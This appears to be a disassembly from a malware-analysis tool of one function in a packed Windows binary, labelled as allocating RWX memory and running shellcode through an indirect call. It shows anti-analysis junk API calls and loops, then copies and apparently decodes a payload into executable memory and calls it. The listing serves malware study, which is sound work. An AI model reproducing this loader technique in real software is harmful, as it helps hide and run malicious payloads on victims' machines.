Function at 0x404680
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
push ebx
push esi
push edi
xor esi, esi
push 0x41fd60
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x8074d
jne 0x404801
mov eax, 0x41fd60
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4046b0
sub eax, edx
cmp eax, 0x97568
jne 0x404801
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x5903c
jne 0x404801
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CreateCursor]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetTapePosition]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_RemoveMenu]
push str.hoteribewivojohi_kinoniwohelagobajirasu_larulegafefojixejalugivocifawiza_go_letexirubodo_xuyebudamozigo_haxafazene__s__d__f
push esi
call fcn.00406551
add esp, 8
lea ecx, [ebp - 0x50]
mov dword [ebp - 0xb0], 0x419544
mov dword [ebp - 0xa0], 0x41953c
mov dword [ebp - 0x50], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov dword [ebp - 0xa8], esi
mov dword [ebp - 0xa4], esi
call fcn.00401520
lea eax, [ebp - 0x98]
push 0x20
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], esi
call fcn.00402ca0
mov byte [ebp - 0x10], al
cmp dword [ebp - 0x18], esi
jne 0x404761
mov eax, dword [ebp - 0x44]
or eax, 4
push esi
push eax
lea ecx, [ebp - 0x50]
call fcn.004013f0
mov ecx, dword [ebp - 0xa0]
mov edx, dword [ecx + 4]
mov dword [ebp + edx - 0xa0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0xb0]
mov ecx, dword [eax + 4]
mov dword [ebp + ecx - 0xb0], vtable.std::basic_iostream_char__struct_std::char_traits_char__.0
mov edx, dword [ebp - 0xb0]
mov eax, dword [edx + 4]
lea ecx, [ebp - 0x98]
mov dword [ebp + eax - 0xb0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
call fcn.00401ea0
push 0xff
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x98], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x58], esi
call fcn.00403370
sub esp, 8
mov eax, esp
mov dword [eax], 0xa5f84cad
mov dword [eax + 4], 0x406d477e
sub esp, 8
mov eax, esp
mov dword [eax], 0x346dc5d6
mov dword [eax + 4], 0x406d6780
call fcn.00405410
fstp st(0)
add esp, 0x10
lea ecx, [ebp - 0xb0]
call fcn.00402a60
mov ebx, dword [ebp - 8]
mov edi, dword [sym.imp.USER32.dll_SetMenuInfo]
lea ebx, [ebx]
lea ecx, [ebp - 0xcc]
push ecx
push 0
call edi
cmp esi, 0x26538
jle 0x404840
cmp dword [ebp - 0xb8], 0x170b5f6b
je 0x404840
cmp ebx, 0xdf790d0
je 0x404840
cmp dword [ebp - 4], 0x7040c746
jne 0x40484b
inc esi
cmp esi, 0x5d91e1a1
jl 0x404810
jmp 0x40485e
push 0
push 0
lea edx, [ebp - 0xdc]
push edx
push 0
call dword [sym.imp.USER32.dll_DrawEdge]
mov eax, dword [0x41e410]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov dword [0x3b6ae6c], eax
add dword [0x3b6ae6c], 0xa2554
xor esi, esi
cmp esi, 0x122
jne 0x4048a1
mov ecx, dword [0x3b6ae6c]
push 0x40
push 0x1000
push ecx
push 0
call edi
mov dword [0x46cc5c], eax
jmp 0x4048a9
cmp esi, 0x26c0
jge 0x4048ad
push 0
call ebx
inc esi
cmp esi, 0x2d0
jl 0x404880
mov eax, dword [0x3b6ae6c]
mov edx, dword [0x41e404]
xor esi, esi
mov dword [0x3b6ae70], edx
test eax, eax
je 0x4048ff
mov edi, dword [sym.imp.ole32.dll_CoReleaseMarshalData]
mov ecx, dword [0x3b6ae70]
mov dl, byte [ecx + esi + 0xa2554]
mov eax, dword [0x46cc5c]
mov byte [eax + esi], dl
cmp esi, 0xa77
jge 0x4048f4
push 0
call edi
mov ecx, dword [0x3b6ae6c]
inc esi
cmp esi, ecx
jb 0x4048d3
mov dword [ebp - 4], 0xbb
sub dword [ebp - 4], 0x7b
mov ebx, dword [sym.imp.KERNEL32.dll_PulseEvent]
mov edi, dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
xor esi, esi
cmp esi, 0xbc5f92
jle 0x404924
push 0
call ebx
cmp esi, 0x2c78a0
jne 0x40493e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x3b420a4], eax
jmp 0x404956
cmp esi, 0x26f9
jge 0x404956
push 0
lea edx, [ebp - 0x8dc]
push edx
push str.De_vidizahokaledeticegodace_gudohakomoje_wehogidipokafusu_cojaxifogujeyitabe
call edi
inc esi
cmp esi, 0x7f5110
jl 0x404918
mov esi, dword [0x3b6ae6c]
mov edi, dword [0x46cc5c]
mov ebx, dword [section..data]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PostMessageW]
push esi
push edi
mov dword [0x46cc58], ebx
call fcn.00401150
call dword [0x46cc5c]
mov eax, dword [0x3b6b0b0]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx + eax*4]
pop edi
pop esi
mov dword [edx + 4], 1
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10